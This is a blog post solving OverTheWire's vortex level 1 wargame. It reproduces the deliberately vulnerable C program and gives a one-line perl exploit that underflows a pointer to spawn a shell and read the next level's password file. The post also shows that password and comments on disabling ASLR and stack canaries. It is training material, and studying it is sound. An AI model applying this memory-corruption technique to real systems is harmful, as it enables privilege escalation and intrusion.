Saturday, June 4, 2011

vortex1

Solution for OTW wargame vortex, level 1

#include 
#include 
#include 
#include 


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
        int i;

        printf("[ ");
        for(i=0; i < len; i++) printf("%x ", buf[i]); 
        printf(" ]\n");
}

int main()
{
        unsigned char buf[512];
        unsigned char *ptr = buf + (sizeof(buf)/2);
        unsigned int x;

        while((x = getchar()) != EOF) {
                switch(x) {
                        case '\n': print(buf, sizeof(buf)); continue; break;
                        case '\\': ptr--; break; 
                        default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
                }
        }
        printf("All done\n");
}


$ ( perl -e 'print "\\" x 257 . "\xCA!"'; echo \
"cat /etc/vortex_pass/vortex2" ) | /vortex/vortex1
sh-3.2$ 23anbT\rE
sh-3.2$ exit 
  

Notes:
A 512 byte buffer is allocated on the stack. The pointer  ptr initially points right in the middle of the buffer.  Following commands can be input:
  • \ (backslash): decrease ptr by one
  • \n (newline): print buffer content
  • EOF: end execution
  • Any other character:
    • if ptr's value is 0xCA______, execute a shell.
    • while ptr isn't beyond the end of buffer, write the character and increase ptr.

ptr is declared after buf, therefore it is allocated over buf on the stack frame (at a lower memory address). Since there is no lower memory bound check, it is possible to overwrite ptr's value. The idea is to decrease ptr until it points onto itself and then write the value 0xCA.

Here is the memory layout:
lower memory  +-----------------+
addresses     | ptr (4 bytes)   |-----+
              +-----------------+     |
              | buf (512 bytes) |     | ptr points
              |                 |     | somewhere in
              |                 |     | buf
higher memory |                 |     |
addresses     |                 |<----+

4 comments:

  1. Nice writeup, i could not really understand what was going on...

    BUT, did you try to solve this on your local machine,,, i tried and i can confirm you that the stack is reversed. That is, the buf is at lower memory addresses and the ptr is at higher memory address !!!!!

    Have you also noticed this?

    ReplyDelete
    Replies
    1. Hi Chris,
      I solved the level on the server at vortex.labs.overthewire.org.
      If buf was located before ptr in memory (at a lower memory address), this level wouldn't be solvable: you wouldn't be able to write ptr by overflowing buf.
      Regards,
      Antoine

      Delete
  2. Well i can also confirm that the compiler is not letting me overwrite the pointer !!

    Tested in ubuntu 9.10 and higher!!

    ReplyDelete
    Replies
    1. Try solving the level on the server, or download the binary to run it on your local machine. If you compile the source yourself, you ought to make sure to disable any stack protection mechanisms such as canaries by using corresponding flags. Also disable any runtime settings such as ASLR that are controlled by the kernel (see http://blog.ant0i.net/2012/05/how-to-disable-aslr-in-linux.html).

      Delete